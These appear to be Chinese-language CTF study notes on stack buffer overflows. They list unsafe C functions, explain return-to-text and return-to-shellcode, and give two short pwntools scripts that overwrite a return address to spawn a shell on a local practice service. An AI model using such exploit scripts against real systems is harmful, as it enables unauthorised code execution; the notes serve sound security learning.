Buffer Overflow
因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行。
Stack Overflow
利用方式简单,可以直接覆盖return address和控制参数
Vunlnerable Function
- gets
- scanf
- strcpy
- sprintf
- memcpy
- strcat
Return to Text
控制程序的返回地址到原本程序中的函数(代码)
例如有类似的function,就可以直接跳转到这个function,function的地址可以用过IDA Pro或者objdump来查找
- system(‘/bin/sh’) //很少
- execve(‘/bin/sh’,NULL,NULL)
Return to Shellcode
- 覆盖返回地址
- 跳转到func或者shell
要做的事情
1.确定偏移地址offest
2.ret->shell
多输入,如果报了段错误说明有 溢出点
函数地址
一个脚本
from pwn import *
r = remote ('127.0.0.1',4000) #connect
r.sendline('a'*32 +p32(0x804851D) ) #offset + ret
r.interactive()
丢进IDA看伪代码
双击name,name是一个未初始化的全局变量,在bss段中,这是一种关键信息。地址为0x0804A060,不改变
from pwn import *
r = remote ('127.0.0.1',4000) #connect
r.recvuntil('Name:')
r.sendline(asm(shellcraft.sh()) ) #offset + ret
r.recvuntil('Try your best: ')
r.sendline('a'*32+p32(0x0804A060))
r.interactive() # interact
返回地址改为全局变量的地址